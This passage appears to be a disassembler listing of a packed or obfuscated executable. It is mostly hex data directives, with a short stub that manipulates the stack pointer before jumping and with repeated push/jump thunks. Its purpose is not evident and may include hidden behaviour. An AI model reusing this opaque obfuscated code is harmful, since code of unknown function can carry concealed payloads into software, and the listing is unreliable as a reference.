		dd 8176B48Fh, 67EEF362h, 7663E2A8h, 0B158E376h,	7877B49Eh
		dd 8D1D00A1h, 1A5163F3h, 5BF9836Fh, 9CB0320h, 2C8C9C9Eh
		dd 6CE7CB61h, 14E85Ah, 7F010000h, 110D128Ah, 0B7547Bh
		dd 0B785CA53h, 0FFD56DCBh, 850B7BCFh, 62C1D31h,	817EB75Fh
		dd 60C6C7h, 0C8D0F00h, 0F000000h, 68Dh,	8D0F00h, 33000000h
		dd 3850FF6h, 80000000h,	0C8B9DF0h, 6860F37h, 81000000h
		dd 0F4D2FAD8h, 0CFC18170h, 0F713F30h, 0E981DBB7h, 5B692264h
		dd 68B0Fh, 958B0000h, 62C09B9h,	0F411F181h, 0B3B25F7Ah
		dd 0F370C89h, 686h, 299D8900h, 0F8062C26h, 7144EE81h, 830F0985h
		dd 3, 81DE8B66h, 857140C6h, 0CECB8109h,	8149E48Ah, 0FF9FE4FEh
		dd 97850FFFh, 0BAFFFFFFh, 30673230h, 26E9h, 61254200h
		dd 3D00002Ch, 2, 6 dup(0)
		dd 0E9000000h, 0C7Ch, 3212CF68h, 3597E906h, 0B368FFFBh
		dd 0E9063213h, 0FFFB358Dh, 32158F68h, 3583E906h, 5768FFFBh
		dd 0E9063216h, 0FFFB3579h, 32171768h, 356FE906h, 2D68FFFBh
		dd 0E9063219h, 0FFFB3565h, 3219A168h, 355BE906h, 0C968FFFBh
		dd 0E906321Ah, 0FFFB3551h, 321BE768h, 3547E906h, 7D6AFFFBh
		dd 0F8E78D0Bh, 75660C8Ah, 0F1E78D0Bh, 73690F8Dh, 90AD8D0Bh
		dd 0DF5D81BBh, 5FDD0D39h, 0E36181B9h, 66E40E3Dh, 4819DC8h
		dd 6577927Ch, 0BFAE6298h, 0D00BFD55h, 936F34B2h, 0AC570259h
		dd 0C48D1390h, 2605A7Dh, 8C3EC6AAh, 429F3351h, 0B8AF262Ah
		dd 0B209AD47h, 95FDBB95h, 1E7BB1EAh, 55E55E76h,	0D2ED7798h
		dd 3F2A20C8h, 3B5670CDh, 436B74B3h, 5Eh, 44B38F9Dh, 0C5E2CDC2h
		dd 67BE52FCh, 0B8A6B34Bh, 0D7F35A47h, 7798675Ah, 2B8317BBh
		dd 98669A13h, 85E5E177h, 0E2003B2Dh, 3CAA988Ah,	10EB00E4h
		dd 0A940218Ah, 25AB8B3h, 496C11Eh, 74A62071h, 5891876Bh
		dd 1B37DE36h, 7798729Eh, 6AC75BFFh, 0FE9Ah, 1F4D4300h
		dd 0F387EFE1h, 0BFAEA096h, 0D10BFD55h, 686355ADh, 0DD4FC3D5h
		dd 0E855137Bh, 5434FDCDh, 75CD613Fh, 201C4883h,	0EE8266BEh
		dd 0F4F8A470h, 0B6A57DC3h, 2E4AF54Ch, 7DC3C6B1h, 0BEFC3912h
		dd 0B286A5D4h, 0B7BD551Eh, 622D079Bh, 0E6DC3705h, 4D3189FBh
		dd 0A5CFFEF0h, 66584Eh,	0BF67C4A8h, 0C7292218h,	4385596Ah
		dd 7A9641ECh, 7DC47EFDh, 455DBA5Eh, 47B8A655h, 3A50B0CDh
		dd 6ABE0520h, 1391350Dh, 0E138704Eh, 4A9D1A36h,	5AFE7798h
		dd 353A56FDh, 0E7418A19h, 3A97FFF1h, 0F3238962h, 0B0E6637Fh
		dd 0A3477169h, 0F60CE1DAh, 27150B62h, 599339B7h, 0EB8A7335h
		dd 0D2555C6h, 9D1D0h, 80E2DF00h, 0FF6D5C02h, 80E2DB81h
		dd 2645C02h, 80EEDE84h,	30052202h, 0AE54D23Ch, 2ED452B0h
		dd 0B258D63Ch, 3DDB59BBh, 7A79F612h, 0DDA7792h,	50BEAED7h
		dd 0D3312CD2h, 2E54867Ch, 8F5903D1h, 2C2279B3h,	9579D133h
		dd 0DD759138h, 8447B8A8h, 0F77088E0h, 0FF779868h, 8732B6E4h
		dd 9868EE6Bh, 33160E77h, 5D244822h, 0BAD431D5h,	6B7557D7h
		dd 0C2A7h, 0BFAE0100h, 8CF97692h, 0B65A7DC4h, 420CB22h
		dd 7DC48C87h, 3FE744E8h, 54D1ED98h, 0B57DC48Dh,	8AC2B411h
		dd 48F40C64h, 0F57DC4B5h, 781E9CC6h, 0B6C71F45h, 44C1DDE8h
		dd 0A57DC488h, 0FA166D01h, 47B8AF0Ah, 6A2FAD51h, 0E1FD5494h
		dd 418A4FCBh, 7D73CA6Eh, 0F4DF114Fh, 69D25BD8h,	8418BC71h
		dd 90CC72F0h, 0FC35AC6Eh, 0BCD455C6h, 8ED7Fh, 9CCEFB00h
		dd 1B49781Eh, 9CC6F79Dh, 1E40781Eh, 9CC2FAA0h, 4C213E1Eh
		dd 0CA70EE10h, 4AF06E9Ch, 0CE74F210h, 59F7759Fh, 7995122Eh
		dd 29F67792h, 324EF9F3h, 7DC48CB5h, 23157216h, 0A147C529h
		dd 6FCA48AAh, 8D2BA8C4h, 79727DC4h, 53DBBF17h, 0AE5C52AFh
		dd 0EA1847BFh, 0D10CFE56h, 6E3F5CB3h, 5F595ED8h, 0BE8351AEh
		dd 3551A8E0h, 47B89819h, 484ED4F1h, 0C25E5D66h,	92E98D65h
		dd 3130A09Ch, 3977BD3h,	6157FEA6h, 0B7A90668h, 85E05E84h
		dd 0DF375F8Fh, 0B1AC9EFBh, 0C2DFFC53h, 8AC6F27Dh, 0A34AF24Fh
		dd 7692BDADh, 779818F9h, 5922B65Ah, 0BEFDAFD3h,	5A72CF72h
		dd 0BE71D5FAh, 0A39CD807h, 7105E941h, 0CC362719h, 54FC5B74h
		dd 4BBC3ED4h, 515A405Bh, 0B7A89E85h, 4EE2003Fh,	8AB512F6h
		dd 112DD810h, 0F051ED94h, 988851F5h, 4A69858h, 716C5EBBh
		dd 443A9513h, 0AD91E90Bh, 56F5E50h, 0A11595ADh,	7D14F051h
		dd 0D1295587h, 356590EDh, 910F7568h, 3A92F0EBh,	44AE9D93h
		dd 0AC2945ECh, 0DF051A0h, 6078D569h, 0F051A0E4h, 910C8E3Dh
		dd 14BA385Ah, 0BC63BBD9h, 146C92C6h, 0FCC2D330h, 0B4AA55ACh
		dd 0E6FE5BB9h, 0BA45CA4Eh, 77150926h, 3AF661Bh,	0AC2ACEA6h
		dd 7AD11BE7h, 8B0824CFh, 0ECEA263Bh, 3C038048h,	0B264EA26h
		dd 67C458BEh, 61C4A4C0h, 47EBB41Ah, 3357D7EFh, 0CE65E3FAh
		dd 0FC9E24B1h, 0B8155070h, 29680D8Dh, 55FF12ACh, 48Bh
		dd 8D0B88AFh, 0B32C7DC4h, 0D47DC4BCh, 7DC47953h, 0C47A1B94h
		dd 2D7F437Dh, 0ED96B9D6h, 0D7738D7Ah, 0C4383EBBh, 67FB9F7Dh
		dd 6B47630Ah, 0C347B87Eh, 26F26A6h, 0EAE1C066h,	0BF97F488h
		dd 0A57C591Bh, 132B5FB0h, 711D6h, 0C0221F00h, 3FAD9C42h
		dd 0C0221BC1h, 42A49C42h, 0C02E1EC4h, 70456242h, 0EE94127Ch
		dd 6E1492F0h, 0F298167Ch, 7D1B99FBh, 77B93652h,	4D1A7792h
		dd 55BFAE17h, 0D616ECFDh, 0B9A5637Fh, 218847B2h, 927B8805h
		dd 0B145E977h, 0A1408433h, 254D7DDDh, 0FE55E9CDh, 869916E2h
		dd 0D6791D41h, 59B0C4Ah, 332A2020h, 0B6D279D1h,	0C2051E39h
		dd 9962F69Ah, 0EB290407h, 8C9DFAFDh, 1A97B3B6h,	61C2052Bh
		dd 0DB7F076Fh, 78D4F047h, 9F8BF971h, 0E5074238h, 64E1A98Dh
		dd 0C5BBD901h, 24358D21h, 9BB70E5Eh, 85CD3736h,	867CD377h
		dd 0E0D62D57h, 4A2E86E8h, 0C75AD7F3h, 17BBB5ACh, 1746ECBAh
		dd 81A02BEDh, 0F70F918Bh, 649BAh, 0F86A5700h, 7795D47Ah
		dd 0F81A53F9h, 7A9CD47Ah, 0F86656FCh, 0A87D9A7Ah, 26CC4AB4h
		dd 0A64CCA38h, 2AD04EB4h, 0B553D133h, 76F16E8Ah, 85527792h
		dd 79B38F4Fh, 0D8EA0622h, 2A9147B8h, 0FD73534h,	77985892h
		dd 63BB4FF3h, 0C0187A71h, 18709ECEh, 76CE3426h,	0F2B9E190h
		dd 9FDFBB26h, 163289C3h, 418CA4FAh, 782CB5D2h, 7C1CFDFCh
		dd 0E88A1E40h, 4F338BF9h, 0F8761AF2h, 4EB4A79Dh, 0DBABDDF6h
		dd 5CF50985h, 0DA536BC8h, 0FB716C26h, 716C267Eh, 3990D8A6h
		dd 5A535F1Dh, 469E423Bh, 30F2829Fh, 0A1F172Eh, 0BD1AAEDCh
		dd 39CC43A5h, 0CBCC466Bh, 26156B39h, 86E9FABCh,	0D0E84B16h
		dd 58993h, 38AA9700h, 0B7D514BAh, 385A9339h, 0BADC14BAh
		dd 38A6963Ch, 0E8BDDABAh, 660C8AF4h, 0E68C0A78h, 6A108EF4h
		dd 0F5931173h, 7631AECAh, 0C5927792h, 6BB38F8Fh, 277E1270h
		dd 0B2B94D0Bh, 0AD446147h, 0EE7985CFh, 0F2104AECh, 0D20BBD95h
		dd 1DC41CB0h, 1FB92F00h, 0F552C83Fh, 2CAAC803h,	0FA529867h
		dd 31AFD508h, 0DA32508Bh, 0EF6C8833h, 5077919Ch, 6E5D4FACh
		dd 74729CFh, 0F58933D4h, 0D0C65D9Dh, 0ED18759Fh, 97FDF0ADh
		dd 45464B19h, 6B616B7Bh, 0ABCB0375h, 83DB6F53h,	0BA72429Fh
		dd 1B000001h, 0D3D75470h, 94387791h, 0B38F4137h, 6E062279h
		dd 4647B8B6h, 96F31150h, 1BC21ABEh, 70C83A25h, 8EFCEA8Ch
		dd 869A1931h, 7C977798h, 0D5ADCA1Eh, 7740A35Bh,	709BC020h
		dd 9024C31Fh, 0C5C2233h, 7B0199B5h, 4A8418Ch, 87EDE086h
		dd 0AF0E3D2Fh, 0FFB1FFC3h, 1B7206D1h, 0BAD75470h, 8638716Bh
		dd 0F0D42C52h, 6C31FF5Ch, 54FF5696h, 26426F5Eh,	716BBAA9h
		dd 9D2660Ah, 768F87A1h,	768EEBFEh, 3B5FB072h, 0E5FD55F9h
		dd 6B3F706Ch, 34415974h, 77CD985Dh, 5B21h, 4EF97B00h, 0C48CB532h
		dd 0AE2B477Dh, 0F7DC48Ch, 0E83FE36Bh, 0C48D4FCCh, 0AF0CB07Dh
		dd 9853C09Eh, 910E2A0Ah, 0F27DC3A1h, 0E8F7854Eh, 0D07BD266h
		dd 0BC8C0925h, 21E7DC3h, 7DC3BC85h, 16BA42E6h, 0D909A1B9h
		dd 0CB047B7h, 99239CB4h, 102B7797h, 74A6EB8Ah, 0BDD86B75h
		dd 32000000h, 3920BFAEh, 1791936h, 0EA2C0FEh, 3C30227Ah
		dd 5A857BD2h, 8FECD028h, 9CC6F5E7h, 17E9A45h, 627DC39Ah
		dd 0C7B961BEh, 72A93994h, 5A860787h, 0F7ED48C6h, 63479FC7h
		dd 8E42EE06h, 0FCEF7DC4h, 0A2DE4E61h, 0A0999CBEh, 6E02E63Eh
		dd 0CB975CDAh, 627F2A81h, 0BE67068Bh, 2E46A3DBh, 47B5BE96h
		dd 1E40786Eh, 0EE45E9C1h, 0BBD7C4F8h, 7795413Eh, 0E967FB9Fh
		dd 23E50943h, 5FB30B94h, 73AEEB03h, 81000003h, 0FEA42244h
		dd 7D23A1C3h, 0FEA4224Ch, 8026A4CAh, 0C4A4224Ch, 749AD2A7h
		dd 0F41250F6h, 789ED076h, 0FB1954FAh, 98B4DF7Dh, 7792741Bh
		dd 0AE79AF7Ch, 2CD250BEh, 0AB55D331h, 0FD55BFAEh, 34B2D00Bh
		dd 0D0F888Ah, 0B7307DC4h, 0DF7DC40Ch, 0C772C903h, 1B789AD1h
		dd 0B2394503h, 2C842847h, 0AE05471Bh, 861D9E92h, 9F610541h
		dd 55C2EA1Ah, 0FF48859Dh, 0D000002h, 8A30AED0h,	9AF2D5Fh
		dd 8A30AED0h, 0CB23056h, 5030AED0h, 6E5E33h, 80EEDC82h
		dd 4625C02h, 87EDE086h,	24406B09h, 779273A7h, 0AE053B08h
		dd 0EA1847BFh, 0D40CAE92h, 0D4C61EB2h, 2E247B99h, 997DD53Fh
		dd 8CA92642h, 660A7DC4h, 0A8763B09h, 0E9ED0960h, 7047B8AEh
		dd 0E35C74CCh, 0EB77986Eh, 0E6ABCAD0h, 986B7499h, 4Fh
		dd 0C903F9F2h, 6B3748A5h, 16AECA21h, 0EE47B8A9h, 50D12643h
		dd 5CD40991h, 98461794h, 77D47877h, 8BA3FB9Fh, 77984612h
		dd 0A6FE6059h, 0FF57B5B4h, 0E8B4DE0Dh, 0AD8E1D7Dh, 246D0892h
		dd 5A6B74C7h, 0BAh, 0BF3C5803h,	20779851h, 0AE291F7Ch
		dd 0BFD55BFh, 6355ADD1h, 0BDB30A68h, 25096181h,	3F2E20C8h
		dd 0B7D37ED5h, 7DC48D3Ah, 0CC9AF79Bh, 0C4B55400h, 0A8CA017Dh
		dd 2B49842Ah, 77FCC2D3h, 0EEF62D06h, 94EB7FC0h,	0B8883C78h
		dd 17F2347h, 0CF26663Ch, 7D70E0D9h, 47DBBF17h, 7AE0BEFh
		dd 89E83DEBh, 55C0041h,	33B1DD0Fh, 6D2F5F8Dh, 55C76336h
		dd 0D7044159h, 0E5000001h, 620886F8h, 0E1870567h, 620886E8h
		dd 0E48A086Eh, 280886E8h, 0D806360Bh, 58B6B45Ah, 0DC3A34DAh
		dd 5F85B85Eh, 0FC1843E1h, 7792727Fh, 0F9DD13E0h, 9ABCB03h
		dd 6F53ABD3h, 0C22C2012h, 45AF9E44h, 3F91DC7h, 3A4BA8CAh
		dd 0B1CD2464h, 47B8A919h, 55D2D4F1h, 4477F2h, 0CF27CBA3h
		dd 98233EB7h, 6F2B4677h, 74EA8B06h, 32261C6Bh, 0F69F6FCCh
		dd 48000000h, 64F48C2Bh, 0E03D9828h, 0ADDCF9EAh, 7F3B85C6h
		dd 2E50882Ah, 86ECDFD1h, 0DE003C2Eh, 35C26E86h,	0FBA7DC4h
		dd 0C40776F3h, 6FEC087Dh, 0D07DC407h, 0A300A42Ch, 0DA58BAB1h
		dd 83DB3934h, 55CAC72h,	7C13E5Ah, 70227DC4h, 0DC7E127Ch
		dd 7D2481E3h, 0B8412561h, 11473D47h, 5AB195EDh,	97D3C13Eh
		dd 217E2277h, 0CC27A549h, 14D00FAFh, 7D61B9DBh,	296A1CB4h
		dd 0A5E7BBCCh, 4386A34Eh, 3619DFEFh, 0EAF70F6Ch, 6B4189C4h
		dd 427A70C7h, 0C4F89E1Ch, 0BAFF528Ch, 91819AF6h, 6EA42D6h
		dd 797FB072h, 7A9255C7h, 0B93Dh, 689AC700h, 0E70544EAh
		dd 688AC369h, 0EA0C44EAh, 6896C66Ch, 18ED0AEAh,	963CBA24h
		dd 16BC3AA8h, 9A40BE24h, 25C341A3h, 7261DEFAh, 0F5C27792h
		dd 42BEAEBFh, 0FD54E80Eh, 161126E0h, 3E07DE76h,	92DFF2F3h
		dd 0CC9AF74Fh, 4FCD3726h, 55BFAEA5h, 0B2D00BFDh, 59936F34h
		dd 0B92CE602h, 4A4047B2h, 0B69AF210h, 90CF8159h, 9187DE72h
		dd 0D9567255h, 3A77927Bh, 0FDA50296h, 34B2D00Bh, 0DE355F8Eh
		dd 318EF0E8h, 0B0E17189h, 0B9249D5Fh, 6381BCE1h, 0E60C3FE5h
		dd 0F4CAE78Eh, 47BFBCD7h, 4B7D6FCCh, 1201CB23h,	0AE261588h
		dd 16FA52B0h, 6F5E0482h, 370AD05h, 7A000000h, 0B1AE4AB0h
		dd 0D605F74Fh, 686254ACh, 82C0B20Ah, 221A0C64h,	7A7264BCh
		dd 96CABC14h, 35261870h, 468173CBh, 5091CC24h, 405E089h
		dd 83000000h, 48704E8h,	2C895C24h, 6D9C6824h, 3C890000h
		dd 0E0895024h, 405h, 4E88300h, 5C240487h, 0BF240C89h, 70BA78B6h
		dd 81DFF747h, 331644E7h, 44BD5515h, 2140145Ah, 0EF815DEFh
		dd 2C9338A0h, 0B85CEF81h, 0A768CD3Ah, 89000012h, 4812424h
		dd 424h, 0BA525900h, 5B5227DFh,	0D829C281h, 0CA01A4ADh
		dd 8B5A3A89h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_50E1A9
; ---------------------------------------------------------------------------
		db 0ABh, 5Ah, 0B8h
		dd 6EBC4C05h, 14F9B244h, 62D6CA0Ah, 321CC5B8h, 0FFC50306h
		dd 0BF02ABE0h, 0F0520866h, 1E590869h, 0D0E5F2Bh, 0E7B04650h
		dd 72AFE42Bh, 49ADC82Eh, 2154C556h, 15FE9602h, 17586310h
		dd 87880A6Ah, 98D8CF23h, 451A5C4Ah, 0E969A42Ah,	4C02A725h
		dd 5E18D620h, 78FE051Ah, 0EE869h, 0B2FB0000h, 0D11C7296h
		dd 0C2B28F4Fh, 0C9EAD3E1h, 5AF6ED80h, 0C5EE8166h, 3AC281B7h
		dd 0E800005Ch, 5, 383034CAh, 2ABB6669h,	0DAB85B48h, 51000016h
		dd 3A8B5BF9h, 0C4E38166h, 1CF781E1h, 0E847CDD9h, 9, 0DED1FD47h
		dd 0F6BB3473h, 0C1F1802Ch, 0A3C7815Eh, 0E90469AEh, 12h
		dd 3B687724h, 817C3DD5h, 7D143A28h, 0C083A89Eh,	0EF817459h
		dd 5D266321h, 1CD08160h, 60275E61h, 0A92D281h, 0E8815CBDh
		dd 4DE2392Bh, 0F9576161h, 0B70F028Fh, 88EA81F0h, 603A420Bh
		dd 81FFB70Fh, 0BFFC36DBh, 0C2816103h, 3A420B84h, 4DE3DE81h
		dd 0F486666h, 0FFFF7D85h, 0B76060FFh, 0BC98163h, 611619CBh
		dd 8E860h, 8AC30000h, 0DADB2C7Eh, 665F3A07h, 6161F08Bh
		dd 1F3E8D8Dh, 0CE80632h, 0C7000000h, 6E418544h,	0B61353F7h
		dd 8B01864Dh, 2C0EF185h, 8D895E06h, 62C2BA5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 97C35343h, 0C73EEF48h
		dd 7291D055h, 12D985C7h, 6418062Ch, 66600000h, 8BC537BAh
		dd 2C0FF995h, 85C76106h, 62C29C1h, 0
		dd 0AE9h, 8B706C00h, 4F55D47Fh,	0FF9676C3h, 2C11F9B5h
		dd 0F595FF06h, 6A062C15h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0A631C356h,	0BE276309h
		dd 212EAB9Eh, 0FF006AF8h, 2C26B195h, 0EBC08B06h, 0ABC20C7Dh
		dd 0A0759392h, 0BB81C1AFh, 0AACED18Dh, 89E0E78Fh, 7A1F3427h
		dd 0A8839088h, 6EBD750Eh, 3682561Bh, 0DEBC1CEFh, 0B3E37FF0h
		dd 7737F00h, 0BFC778BDh, 914758A9h, 87BCB3BFh, 88555EAh
		dd 614849D2h, 26A7348Fh, 55DBFD61h, 0FCF0450Ch,	0E4F4DCB5h
		dd 4A4914D6h, 7E11C605h, 0A7C73069h, 3038F183h,	0FB420A7Ch
		dd 40F9C61Dh, 0F703AC6Dh, 0E7DD70CEh, 1717DC1Eh, 572732A8h
		dd 0D2E9F1A0h, 47000000h, 0D766F286h, 0C3CA459Ch, 0DAB6E1C8h
		dd 95A7ACABh, 0F44592B3h, 0B395A1h, 0A7ECABDAh,	0B2915D20h
		dd 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh,	3A7594A1h
		dd 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h
		dd 0F94E0097h, 9FA5B4h,	0F07B6B5Ch, 8A924Ah, 45F352D0h
		dd 0A3F653F5h, 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h
		dd 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh
		dd 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h
		dd 0BCE1B6F6h, 0B3ED7293h, 0B6D00097h, 0A8CD43F1h, 0F0h
		dd 74470000h, 0E0E3129Dh, 5E99h, 6 dup(0)
		dd 14DFE900h, 9F680000h, 0E9063222h, 0FFFA5C06h, 3223A368h
		dd 5BFCE906h, 0A368FFFAh, 0E9063224h, 0FFFA5BF2h, 3225B268h
		dd 5BE8E906h, 3568FFFAh, 0E9063226h, 0FFFA5BDEh, 3226ED68h
		dd 5BD4E906h, 0C068FFFAh, 0E9063227h, 0FFFA5BCAh, 32287868h
		dd 5BC0E906h, 3768FFFAh, 0E9063229h, 0FFFA5BB6h, 322AA368h
		dd 5BACE906h, 6F68FFFAh, 0E906322Bh, 0FFFA5BA2h, 322CB968h
		dd 5B98E906h, 0B068FFFAh, 0E906322Dh, 0FFFA5B8Eh, 322EE768h
		dd 5B84E906h, 6A68FFFAh, 0E9063230h, 0FFFA5B7Ah, 32322968h
		dd 5B70E906h, 3868FFFAh, 0E9063233h, 0FFFA5B66h, 0A1F21259h
		dd 3B8C16F0h, 0D627AF8Ah, 6FC04C25h, 0B5CE2BEh,	0EDC96C7Dh
		dd 87651667h, 2603B405h, 58A051A2h, 0AE3CE93Ah,	0F09B1B6Fh
		dd 93653B37h, 54FC825Eh, 9F520C64h, 0C84A2857h,	77BFC068h
		dd 14A90859h, 0BA196DACh, 492431C2h, 0CD2919C1h, 0BA8A003Fh
		dd 5CCC31C2h, 0DF1E9CFCh, 37EED7CAh, 2732DA4Ah,	37EEA7D7h
		dd 0F9387ACCh, 37EEA785h, 0A8FD55C5h, 3110F6E1h, 2CC7582Ah
		dd 89000000h, 94125CF1h, 0EEDECC55h, 34DC4C37h,	0EE9ED129h
		dd 7F0BE437h, 74FAD6D7h, 0EEA9C2CCh, 0A7627B02h, 2A2DCAB0h
		dd 0F48158h, 9F430000h,	90913957h, 78862EB4h, 26801676h
		dd 3D7C94A0h, 31C289C9h, 0FB399909h, 1B1CC8Bh, 20A1F957h
		dd 1112BAD8h, 2B2DABC9h, 0E5BEF4ABh, 83C1B159h,	94EC0C30h
		dd 0F4337533h, 31C20E9Eh, 0EEB5F9Eh, 0BB2B31C2h, 7D01DE5Fh
		dd 0FE3AC51Dh, 0B31C20Bh, 0A354A5C3h, 0E6953D5Bh, 931BF651h
		dd 7173B533h, 4CD198Fh,	8D13EF4Fh, 614AD52Dh, 8937EE5Bh
		dd 0D469C819h, 0C1CD0C8Ah, 0F31DDC9h, 8C66FFDAh, 0A6A5A02h
		dd 58D646B2h, 43C14723h, 0E94CC201h, 2D6C3D99h,	3D99E9D9h
		dd 0BD2D89F9h, 77530465h, 0B8098CF1h, 9FD74A86h, 122740h
		dd 99B90000h, 33BD9748h, 0CE5631E2h, 67F3CC7Dh,	3896516h
		dd 6E8B24B2h, 0ABB0C92h, 0A859AA2Ch, 45F647CBh,	0E18EDFFDh
		dd 98BE1453h, 0AE037F0h, 3DC39F0Ch, 1DF92EECh, 8EFFEF97h
		dd 918129B5h, 5270B839h, 5CF11701h, 0F59D2701h,	0E827A505h
		dd 37EEDEBFh, 0BCC76FDFh, 37EE9E42h, 96414861h,	582A2DB0h
		dd 0EB67h, 579F2900h, 0B4909139h, 16AEB02Eh, 0BCAB36E8h
		dd 0BCC77FD7h, 31C2B47Ch, 0D5724B80h, 6C1474F8h, 5BA3247Ch
		dd 0F33BEC3Dh, 0E97E2DD5h, 0A0DF219Fh, 31C2AA2Ah, 0B18BFC6Ch
		dd 0FF41CF27h, 0AA087EBDh, 583531C2h, 0E03C2CD4h, 9DFD835Fh
		dd 0D0D1BA45h, 89F937EEh, 0FA44D938h, 7E623D7Ch, 5B9031DDh
		dd 34A0F880h, 20446C4h,	3E49348h, 54AAE931h, 763D9843h
		dd 0CD4EA606h, 716F8DF1h, 58E83EADh, 0DC820EE2h, 5EBE1EFEh
		dd 0E9805C0Dh, 0EBDB83A1h, 2EA9268Bh, 2F674A86h, 1123D0h
		dd 95B5FC00h, 2FB99344h, 0CA522DDEh, 63EFC879h,	0FF856112h
		dd 6A8F20AEh, 6B7088Eh,	0A455A628h, 41F243C7h, 0DD8ADBF9h
		dd 99BA104Fh, 6DC37F0h,	3DC39F08h, 0ADEC2EECh, 31C2BA59h
		dd 941EF879h, 449CFCECh, 627F7BC3h, 6DD9C0FBh, 7A64B515h
		dd 595B579Fh, 0ACF1FF28h, 1A70AF2Dh, 3C31C201h,	0B9EE6CCCh
		dd 86FC3BDBh, 0C831C201h, 0E8A0F858h, 0E55998DAh, 331C201h
		dd 0C2014EC4h, 0C4209031h, 58741654h, 0C5822990h, 86A4EC6Dh
		dd 69427735h, 290485DDh, 0ECCE4483h, 0A01031C2h, 4F979840h
		dd 0CCBE031h, 0D14F992Eh, 0EE8A4592h, 0C745B537h, 9554B492h
		dd 5C4EF341h, 76328AEAh, 6087126Bh, 98E2772Fh, 7682DB1Ah
		dd 98ACA58h, 0A048A82Ch, 94125CF1h, 108EF955h, 2BA91934h
		dd 0A37FAEF6h, 2585751Dh, 95D416D4h, 3BD0EE21h,	0A780F161h
		dd 0FA42C31Bh, 0B94277DCh, 76AE483Dh, 102317h, 95B5FC00h
		dd 2FB99344h, 0CA522DDEh, 63EFC879h, 0FF856112h, 6A8F20AEh
		dd 6B7088Eh, 0A455A628h, 41F243C7h, 0DD8ADBF9h,	9EBA104Fh
		dd 6DC37F0h, 28579F08h,	4E6CB44Dh, 0F656B6A6h, 0C00A9F4Eh
		dd 0D30A0342h, 0E25237EEh, 539D3291h, 0CDFD96D5h, 0AD1D31C2h
		dd 58AEED2Fh, 583D9A8Dh, 9A8DA519h, 1975E53Dh, 8E9951A9h
		dd 3D9A8D3Ch, 687F1A33h, 51FE1A82h, 5339h, 5CF1FB00h, 13529412h
		dd 31C2BABFh, 89176FDFh, 0AF371247h, 9A3CC57h, 0DB4B37EFh
		dd 0C74B285Dh, 0F545BB76h, 2C7437EEh, 0F55DB1F0h, 0D7D37EEh
		dd 0F5FA508Fh, 0AC1C37EEh, 6D4AFB4Ch, 0F5368CCBh, 0E85837EEh
		dd 9DD2E088h, 0E8C63755h, 592F0E66h, 4100000Fh,	94125CF1h
		dd 0F4DA5155h, 0C341B137h, 0D728468Eh, 18C0DE26h, 0C8AD469h
		dd 0C6FB24CDh, 357DB231h, 0E353BF17h, 0CAE83065h, 6280C879h
		dd 2C760BBAh, 8FCA6FAEh, 7AEA3B8Ah, 0BBBA9E15h,	0AB0A4250h
		dd 0F14h, 3586A6EDh, 0CF20AA84h, 6ABB431Eh, 354E0B9h, 9FF07652h
		dd 815DF811h, 1BF9AAFBh, 0BA974899h, 0EC34E536h, 42D07DCEh
		dd 0F09F8F03h, 0FBF9CF37h, 0C2BA2595h, 0C2014331h, 31C2BA4Ch
		dd 0D4AD1E8Eh, 58B0A048h, 0CC4A9429h, 0F4DA6C8Dh, 9E1C8C37h
		dd 17F22169h, 97F7E78Fh, 2F4D9546h, 69447987h, 0F14939E1h
		dd 0F4D22DC2h, 69DACA72h, 28A6068Eh, 0DCF310E9h, 63C83831h
		dd 4A899F8Ah, 91EF4E86h, 6A00000Eh, 1B20323h, 9B4C9D27h
		dd 36E738C0h, 0CF80D15Dh, 8E1C6DF3h, 76FCD87Dh,	14967425h
		dd 0B13512C3h, 4967AF60h, 7EBD4BF8h, 37F09C08h,	9F76744Ah
		dd 0C54D2857h, 25CD2D1Dh, 16BEDC24h, 8B03C15h, 0FFA72907h
		dd 4E12F5BAh, 372EE9AEh, 5E564D51h, 90208h, 5D92CA00h
		dd 8DA91915h, 0AD1089B3h, 31C6F54Dh, 0F22A69E7h, 1C37F402h
		dd 6EE383CEh, 71610995h, 349A3833h, 0D92156D4h,	77AC6ABBh
		dd 39BA129Eh, 202BD3F1h, 37F0DDAEh, 0D04E982Dh,	14A4C8Eh
		dd 7B6F1B30h, 0F69AF06Bh, 4CBC37F0h, 237BFDDBh,	0DC9FA798h
		dd 1277E731h, 4A89CAD5h, 0D994F32Bh, 0B200000Dh, 49FA4B6Bh
		dd 0E394E56Fh, 7E2F8008h, 17C819A5h, 0D664B53Bh, 0BE4420C5h
		dd 5CDEBC6Dh, 0F97D5A0Bh, 91AFF7A8h, 0C6059340h, 37F09C70h
		dd 9FBEBC92h, 83913957h, 90E8064Eh, 2BA9C70Fh, 0EE9618F6h
		dd 0BEEEA6FEh, 61471EF9h, 185E564Dh, 84Fh, 0BA2595DAh
		dd 0DA231C2h, 0A951D5B2h, 19607BB9h, 5CC0DBEh, 74E827A5h
		dd 9A37F45Eh, 0A307B54Ch, 0F04AEE64h, 82C03037h, 0C929A2F1h
		dd 0B23C164Bh, 0A52F090Ah, 3CAD0DFDh, 3F2FD763h, 151759E7h
		dd 5852A834h, 0B93A9292h, 27003571h, 0DFAA209Bh, 7CEC37F0h
		dd 0D21ACB1Ch, 0C85D0CB4h, 0BCBE007Eh, 0CB3878E0h, 0D45FB775h
		dd 31DC91FBh, 0E0569523h, 223D9CE1h, 0E4ED52B2h, 0FC4A89BFh
		dd 0D0665C4h, 98DF0000h, 9C762778h, 3510C112h, 0D2AB5CADh
		dd 6844F546h, 0EA0391E2h, 9CED734Fh, 3A8B0DEBh,	0D728AC89h
		dd 6FC0DE26h, 81F534C2h, 0C137F09Dh, 579FEDEBh,	48909139h
		dd 8D52822Ah, 4786C88Ah, 31C2BAF3h, 0D04BA313h,	5E564DEAh
		dd 1A8A3B3Dh, 9FD481B0h, 0BEFC5800h, 3B939F57h,	76E11h
